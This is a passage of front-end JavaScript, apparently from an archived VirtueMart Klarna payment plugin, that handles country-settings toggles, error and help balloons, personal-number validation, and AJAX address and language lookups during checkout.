jQuery(this).attr('id'); toggleActive(code); }); } function toggleActive(code) { var field = 'fieldset#'+code+'_settings'; var tlc = convert_twoletter(code); if (jQuery(field).is(':hidden')) { jQuery(field).removeClass('hide'); jQuery('img#'+code).removeClass('inactive').addClass('active'); jQuery('span#'+code).removeClass('inactive').addClass('active'); jQuery('#KLARNA_SELECTED_COUNTRIES > option[value='+tlc+']').attr('selected', 'selected'); } else if (jQuery(field).is(':visible')) { jQuery(field).addClass('hide'); jQuery('img#'+code).addClass('inactive').removeClass('active'); jQuery('span#'+code).addClass('inactive').removeClass('active'); jQuery('#KLARNA_SELECTED_COUNTRIES > option[value='+tlc+']').removeAttr('selected'); } } PK]y>\z`kk3vmpayment/klarna/klarna/assets/js/klarna_general.jsnuW+A var klarna_js_loaded = true; if (typeof klarna == "undefined") { var $$ = $; var $ = jQuery; var klarna = { invoice_fee: 0, sum : 0, gender : '', klarnaGeneralLoaded : true, different_language : false, currentMinHeight_part : 0, currentMinHeight_spec : 0, currentMinHeight_invoice : 0, red_baloon_busy : false, blue_baloon_busy : false, address_busy : false, baloons_moved : false, changeLanguage_busy : false, showing_companyNotAlowed_box : false, gChoice : '', stype : '', errorHandler: { show: function(parentBox, message, code, type) { var errorHTML = '
    '+message+'
    '; errorHTML += '
    '; if ( type != '' ) { errorHTML += ''+type+''; } if ( code != '' ) { errorHTML += '#'+code+'
    '; } if (jQuery('#klarna_red_baloon').length == 0) { klarna.errorHandler.create(parentBox); } jQuery('#klarna_red_baloon_content').html(errorHTML); if (typeof showRedBaloon != 'undefined') showRedBaloon(parentBox); }, /** * Creates the red baloon used to show error messages */ create: function(parentBox) { jQuery( '
    ' + '
    ' + '
    ' + '
    ' + '
    ').appendTo(parentBox); }, prepareRedBaloon: function () { if ((typeof klarna.global.red_baloon_content != 'undefined') && (klarna.global.red_baloon_content != '') ) { var box; if (klarna.global.red_baloon_box != '') { box = jQuery('#' + klarna.global.red_baloon_box) } this.show(box, klarna.global.red_baloon_content); } }, showRedBaloon: function (box) { if (this.busy) return; this.busy = true; var field; if (typeof box == 'undefined') { if (gChoice == klarna.global.invoice_name) { box = jQuery(document).find('#klarna_box_invoice'); } else if (gChoice == klarna.global.part_name) { box = jQuery(document).find('#klarna_box_part'); } else if (gChoice == klarna.global_spec_name) { box = jQuery(document).find('#klarna_box_spec'); } } if (typeof box != 'undefined') { field = box.find('.klarna_logo'); } if (typeof field == 'undefined' || field.length == 0) { field = jQuery('.klarna_logo:visible'); } if (field.length > 0) { var callback = this.fadeRedBaloon; var position = field.offset(); var top = (position.top - jQuery('#klarna_red_baloon').height()) + (jQuery('#klarna_red_baloon').height() / 6); if (top < 0) top = 10; position.top = top; var left = (position.left + field.width()) - (jQuery('#klarna_red_baloon').width() / 2); position.left = left; jQuery('#klarna_red_baloon').css(position); jQuery('#klarna_red_baloon').fadeIn('slow', function () { setTimeout(callback, 3000); }); } else { this.busy = false; } }, fadeRedBaloon: function () { this.busy = false; jQuery('#klarna_red_baloon').addClass('klarna_fading_baloon'); }, hideRedBaloon: function () { this.busy = false; this.showing_address_error = false; jQuery('#klarna_red_baloon').remove(); } }, hidePaymentOption : function (box, animate) { if (typeof animate == 'undefined') { animate = false; } if (animate) { jQuery(box).find('.klarna_box_top_right, .klarna_box_bottom'). hide(); } else { jQuery(box).find('.klarna_box_top_right, .klarna_box_bottom'). fadeOut('fast'); } jQuery(box).animate({'min-height': '55px'}, 200); klarna.showHideIlt(jQuery(box).find('.klarna_box_ilt'), false, animate); }, showPaymentOption : function (box, animate, currentMinHeight, different_language) { if (typeof animate == 'undefined') { animate = false; } if (animate) { jQuery(box).animate({"min-height": currentMinHeight}, 200, function () { klarna.showHideIlt(jQuery(this).find('.klarna_box_ilt'), true); jQuery(this).find('.klarna_box_bottom').fadeIn('fast', function () { jQuery('.klarna_box_bottom_content_loader').fadeOut(); if (klarna.showing_companyNotAlowed_box) { klarna.hideRedBaloon(); } }); jQuery(this).find('.klarna_box_top_right').fadeIn('fast'); if (different_language) { jQuery(this).find('.klarna_box_bottom_languageInfo').fadeIn('fast'); jQuery('.klarna_box_bottom_languageInfo').fadeIn('fast'); } }); } else { jQuery(box).find('.klarna_box_top_right, .klarna_box_bottom').show('fast'); klarna.showHideIlt(jQuery(box).find('.klarna_box_ilt'), true, animate); } }, initPaymentSelection : function (choice) { var isklarna = choice.hasClass('klarnaPayment'); klarna.gChoice = ''; klarna.stype = choice.data("stype"); if ( isklarna ) klarna.gChoice = choice.attr('id'); //jQuery('input[value="'+choice+'"]').attr("id"); var klarnaBox = jQuery('#paymentForm .klarnaPayment'); klarnaBox.each(function () { var thisStype = jQuery(this).data("stype"); if (klarna.stype != thisStype) klarna.hidePaymentOption('#klarna_box_'+thisStype); else klarna.choosePaymentOption(klarna.stype); }); }, choosePaymentOption : function (choice) { klarna.hideRedBaloon(); klarna.hideBlueBaloon(); klarna.showPaymentOption(jQuery('#klarna_box_'+choice), true, klarna['currentMinHeight_'+klarna.stype], klarna.different_language); }, setGender : function (context, gender) { // This should be refactored to not be able to set other non-gender radio buttons var value; if (gender == 'f' || gender == '0') { jQuery('.Klarna_radio[value=0]', context).attr('checked', 'checked'); } else //if (gender == 'm' || gender == '1') { jQuery('.Klarna_radio[value=1]', context).attr('checked', 'checked'); } }, /** * Hook up jQuery callbacks for the given klarna_box_container(s) or * all klarna options in the document */ initPaymentOptions : function (opts) { if (typeof opts == 'undefined') { opts = jQuery(document); } // specialCampaign only if(typeof InitKlarnaSpecialPaymentElements != 'undefined') InitKlarnaSpecialPaymentElements('specialCampaignPopupLink', klarna.eid, klarna.countryCode); // P-Classes box actions jQuery('.klarna_box', opts).find('ol').find('li').mouseover(function (){ jQuery(this).not('.klarna_box_click').addClass('klarna_box_over'); }).mouseout(function (){ jQuery(this).not('.klarna_box_click').removeClass('klarna_box_over') }).click(function (){ // Reset list and move chosen icon to newly selected pclass chosen = jQuery(this).parent("ol").find('img') klarna.resetListBox(jQuery(this).parent("ol")); chosen.appendTo(jQuery(this).find('div')); jQuery(this).attr("class", "klarna_box_click"); // Update input field with pclass id var value = jQuery(this).find('span').html(); var name = jQuery(this).parent("ol").attr("id"); jQuery(this).closest('.klarna_box').find("input.paymentPlan").attr("value", value); }); if (klarna.countryCode == "de" || klarna.countryCode == "nl") { klarna.setGender(opts, klarna.gender); } // Input field on focus jQuery('.klarna_box', opts).find('input').focusin(function () { klarna.setBaloonInPosition(jQuery(this), false); }).focusout(function () { klarna.hideBaloon(); }); jQuery('.klarna_box_top_flag_list img', opts).click(function (){ if (klarna.changeLanguage_busy == false) { klarna.changeLanguage_busy = true; var newIso = jQuery(this).attr("alt"); jQuery('.box_active_language', opts).attr("src", jQuery(this).attr("src")); var box = jQuery(this).parents('.klarna_box_container'); var params; var values; var boxType = box.find('.klarna_box').attr("id"); var Type = boxType.substring( 11 );//'klarna_box_' if (!Type) { console.log(boxType); return ; } klarna.changeLanguage(box, klarna.params, newIso, klarna.countryCode, Type); } }); setTimeout('klarna.prepareRedBaloon()', 1000); jQuery('.klarna_box_bottom_languageInfo', opts).mousemove(function (e) { klarna.showBlueBaloon(e.pageX, e.pageY, jQuery(this).find('img').attr("alt")); }); jQuery('.klarna_box_bottom_languageInfo', opts).mouseout(function () { klarna.hideBlueBaloon(); }); jQuery('input.gender.Klarna_radio', opts).bind('change', function () { klarna.gender = jQuery(this).val(); }); jQuery('.Klarna_pnoInputField', opts).each(function (){ var pnoField = jQuery(this); jQuery(this).bind("keyup change blur focus", function (){ klarna.pnoUpdated(jQuery(this), (jQuery(this).parents('.klarna_box').attr("id") == "klarna_box_invoice")); }); }); }, doDocumentIsReady : function (klarnaBox) { klarnaBox.each(function () { var type = jQuery(this).parents('table').find('.klarnaPayment').data("stype"); klarna['currentMinHeight_'+type] = jQuery(this).children('.klarna_box_top').height(); }); klarna.initPaymentOptions(); }, pnoUpdated : function (box, companyAllowed) { var pno_value = jQuery.trim(jQuery(box).val()); // Set the PNO to the other fields jQuery('.Klarna_pnoInputField').val(pno_value); // Do check if (pno_value != "") { jQuery('.klarna_box_bottom_content_loader').is(":hidden").fadeIn('fast'); if (!validateSocialSecurity(pno_value)) { jQuery('.klarna_box_bottom_content_loader').fadeOut('fast'); jQuery('.klarna_box_bottom_address').is(":visible").slideUp('fast'); } else { klarna.getAddress (jQuery(box).closest('.klarna_box'), pno_value, companyAllowed); } } else { jQuery('.referenceDiv').is(":visible").slideUp('fast'); // jQuery('.referenceDiv').is(":hidden").css({"display":"none"}); //Ilogic ! jQuery('.klarna_box_bottom_content_loader').fadeOut('fast'); jQuery('.klarna_box_bottom_address').is(":visible").slideUp('fast'); //jQuery('.klarna_box_bottom_address').is(":hidden").css({"display":"none"}); // Ilogic ! } }, /** * Showing and hiding the ILT questions * * @param field * @param show * @param animate */ showHideIlt : function (field, show, animate) { if (show == false) { if (animate == true) field.slideUp('fast'); else field.hide(); } else { var length = field.find('.klarna_box_iltContents').find('.klarna_box_ilt_question').length; if (length > 0) { if (animate == true) field.slideDown('fast'); else field.show(); } } }, prepareRedBaloon: function () { if (klarna.red_baloon_content != '') { if ( typeof code == 'undefined' ) { code = ''; } klarna.errorHandler.show(jQuery('#'+klarna.red_baloon_box), klarna.red_baloon_content, code, ''); } }, showRedBaloon : function (box) { if (klarna.red_baloon_busy) return; klarna.red_baloon_busy = true; var field; if (typeof box == 'undefined') { if (klarna.gChoice == "klarna_invoice") { box = jQuery('#klarna_box_invoice'); } else if (klarna.gChoice == "klarna_partPayment") { box = jQuery('#klarna_box_part'); } else if (klarna.gChoice == "klarna_SpecCamp") { box = jQuery('#klarna_box_spec'); } } if (typeof box != 'undefined') { field = box.find('.klarna_logo'); } if (typeof field == 'undefined' || field.length == 0) { field = jQuery('.klarna_logo:visible'); } var position = field.offset(); var top = (position.top - jQuery('#klarna_red_baloon').height()) + (jQuery('#klarna_red_baloon').height() / 6); if (top < 0) top = 10; position.top = top; var left = (position.left + field.width()) - (jQuery('#klarna_red_baloon').width() / 2); position.left = left; jQuery('#klarna_red_baloon').css(position); jQuery('#klarna_red_baloon').fadeIn('slow', function () { klarna.red_baloon_busy = false; setTimeout('klarna.fadeRedBaloon()', 3000); }); }, getAddress : function (parentBox, pno_value, companyAllowed) { if (!klarna.address_busy) { klarna.address_busy = true; data = { action: 'getAddress', country: klarna.countryCode, pno: pno_value } // Get the new klarna_box jQuery.ajax({ type: "GET", url: ajax_path, data: data, success: function(xml){ jQuery(xml).find('error').each(function() { var msg = jQuery(this).find('message').text(); var code = jQuery(this).find('code').text(); var type = jQuery(this).find('type').text(); jQuery('.klarna_box_bottom_content_loader').fadeOut('fast', function () { klarna.address_busy = false; }); klarna.errorHandler.show(parentBox, msg, code, type); }); jQuery(xml).find('getAddress').each(function() { addresses = AddressCollection.fromXML(this); if (typeof klarna.params_invoice != "undefined") addresses.render('#klarna_box_invoice', klarna.params_invoice['shipmentAddressInput']); if (typeof klarna.params_part != "undefined") addresses.render('#klarna_box_part', klarna.params_part['shipmentAddressInput']); if (typeof klarna.params_spec != "undefined") addresses.render('#klarna_box_spec', klarna.params_spec['shipmentAddressInput']); jQuery.each(addresses.addresses, function(i, addr) { if (addr.isCompany) { jQuery('#invoiceType').val("company"); jQuery('.referenceDiv').slideDown('fast'); if (addresses.mode == Address.Single) { jQuery('.klarna_box_bottom').animate({"min-height": "300px"},'fast'); } if (companyAllowed == false && typeof klarna.lang_companyNotAllowed != "") { showRedBaloon(jQuery(box)); jQuery('#klarna_red_baloon_content div').html(klarna.lang_companyNotAllowed); klarna.showing_companyNotAlowed_box = true; } else { klarna.hideRedBaloon(); } } else { jQuery('#invoiceType').val("private"); jQuery('.referenceDiv').slideUp('fast'); jQuery('.klarna_box_bottom').animate({"min-height": "250px"},'fast'); if (klarna.showing_companyNotAlowed_box) klarna.hideRedBaloon(); } }); jQuery('.klarna_box_bottom_address').slideDown('fast'); jQuery('.klarna_box_bottom_content_loader').fadeOut('fast', function () { klarna.address_busy = false; klarna.hideRedBaloon(); }); }); klarna.address_busy = false; } }); } }, showBlueBaloon : function (x, y, text) { jQuery('#klarna_blue_baloon_content div').html(text); var top = (y - jQuery('#klarna_blue_baloon').height())-5; var left = (x - (jQuery('#klarna_blue_baloon').width()/2)+5); jQuery('#klarna_blue_baloon').css({"left": left, "top": top}); jQuery('#klarna_blue_baloon').show(); }, hideBlueBaloon : function () { jQuery('#klarna_blue_baloon').hide(); }, showRedBaloonX : function (box) { if (klarna.red_baloon_busy) return; klarna.red_baloon_busy = true; var field; if (typeof box == 'undefined') { if (klarna.gChoice == "klarna_invoice") { box = jQuery('#klarna_box_invoice'); } else if (klarna.gChoice == "klarna_partPayment") { box = jQuery('#klarna_box_part'); } else if (klarna.gChoice == "klarna_SpecCamp") { box = jQuery('#klarna_box_spec'); } } if (typeof box != 'undefined') { field = box.find('.klarna_logo'); } if (typeof field == 'undefined' || field.length == 0) { field = jQuery('.klarna_logo:visible'); } var position = field.offset(); var top = (position.top - jQuery('#klarna_red_baloon').height()) + (jQuery('#klarna_red_baloon').height() / 6); if (top < 0) top = 10; position.top = top; var left = (position.left + field.width()) - (jQuery('#klarna_red_baloon').width() / 2); position.left = left; jQuery('#klarna_red_baloon').css(position); jQuery('#klarna_red_baloon').fadeIn('slow', function () { klarna.red_baloon_busy = false; setTimeout('klarna.fadeRedBaloon()', 3000); }); }, fadeRedBaloon : function () { if (klarna.red_baloon_busy) return; jQuery('#klarna_red_baloon').addClass('klarna_fading_baloon'); }, hideRedBaloon : function () { if (klarna.red_baloon_busy) return; if (jQuery('#klarna_red_baloon').is(':visible') && !klarna.red_baloon_busy) { jQuery('#klarna_red_baloon').fadeOut('fast', function () { klarna.red_baloon_busy = false; klarna.showing_companyNotAlowed_box = false; }); } }, /** * This function is only available for swedish social security numbers */ validateSocialSecurity : function (vPNO) { if (typeof vPNO == 'undefined') return false; return vPNO.match(/^([1-9]{2})?[0-9]{6}[-\+]?[0-9]{4}$/) }, resetListBox : function (listBox) { listBox.find('li').each(function (){ if (jQuery(this).attr("id") == "click") { jQuery(this).attr("id", ""); } jQuery(this).find('div img').remove(); }); }, hideBaloon : function (callback) { if (jQuery('#klarna_baloon').is(":visible")) { jQuery('#klarna_baloon').fadeOut('fast', function (){ if( callback ) callback(); return true; }); } else { if( callback ) callback(); return true; } }, setBaloonInPosition : function (field, red_baloon) { klarna.hideBaloon(function (){ var position = field.offset(); var name = field.attr('name'); var value = field.attr('alt'); if (!value && !red_baloon) { return false; } if (!red_baloon) { jQuery('#klarna_baloon_content div').html(value); var top = position.top - jQuery('#klarna_baloon').height(); if (top < 0) top = 10; position.top = top; var left = (position.left + field.width()) - (jQuery('#klarna_baloon').width() - 50); position.left = left; jQuery('#klarna_baloon').css(position); jQuery('#klarna_baloon').fadeIn('fast'); } else { var top = position.top - jQuery('#klarna_red_baloon').height(); if (top < 0) top = 10; position.top = top; var left = (position.left + field.width()) - (jQuery('#klarna_red_baloon').width() - 50); position.left = left; jQuery('#klarna_red_baloon').css(position); jQuery('#klarna_red_baloon').fadeIn('fast'); } }); }, saveDates : function (replaceBox) { klarna['select_bday']= jQuery(replaceBox).find('.selectBox_bday').val(); klarna['select_bmonth'] = jQuery(replaceBox).find('.selectBox_bmonth').val(); klarna['select_year'] = jQuery(replaceBox).find('.selectBox_year').val(); }, changeLanguage : function (replaceBox, params, newIso, country, Type) { var paramString = ""; var valueString = ""; data = { action: 'languagepack', subAction: 'klarna_box', type: Type, newIso: newIso, country: country, sum: klarna.sum, fee: klarna.invoice_fee, flag: klarna.flag } // include current field values in request so that the values can be used // in the translation for (var attr in params) { data['params[' + attr + ']'] = params[attr]; var inputValue = jQuery(replaceBox).find('input[name=' + params[attr] + ']').val(); if (typeof inputValue != "undefined") { data['values[' + attr + ']'] = inputValue; } } virtuemart_paymentmethod_id = jQuery(replaceBox).parents('table').find('.klarnaPayment').val(); data['cid'] = virtuemart_paymentmethod_id; klarna.saveDates(replaceBox); jQuery.ajax({ type: "GET", url: klarna.ajaxPath, data: data, success: function(response){ //console.log(response); if (jQuery(response).find('.klarna_box')) { replaceBox.find('.klarna_box').remove(); replaceBox.append(jQuery(response).find('.klarna_box')); if(newIso != klarna.language) replaceBox.find('.klarna_box_bottom_languageInfo').fadeIn('slow', function () { klarna.changeLanguage_busy = false; klarna.language = newIso ; }); else replaceBox.find('.klarna_box_bottom_languageInfo').fadeOut('slow', function () { klarna.changeLanguage_busy = false; }); klarna.methodReady(Type); klarna.initPaymentOptions(replaceBox); } else { alert("Error, block not found. Response:\n\n"+response); } } }); }, methodReady : function (Type) { var foundBox = false; box = jQuery('#klarna_box_'+Type); var currentMinHeight = box.height(); // Select birthdate and fill years box // console.log(Type, klarna.countryCode); if (klarna.countryCode == "de" || klarna.countryCode == "nl") { // Years box var date = new Date(); for (i = date.getFullYear(); i >= 1900; i--) { jQuery('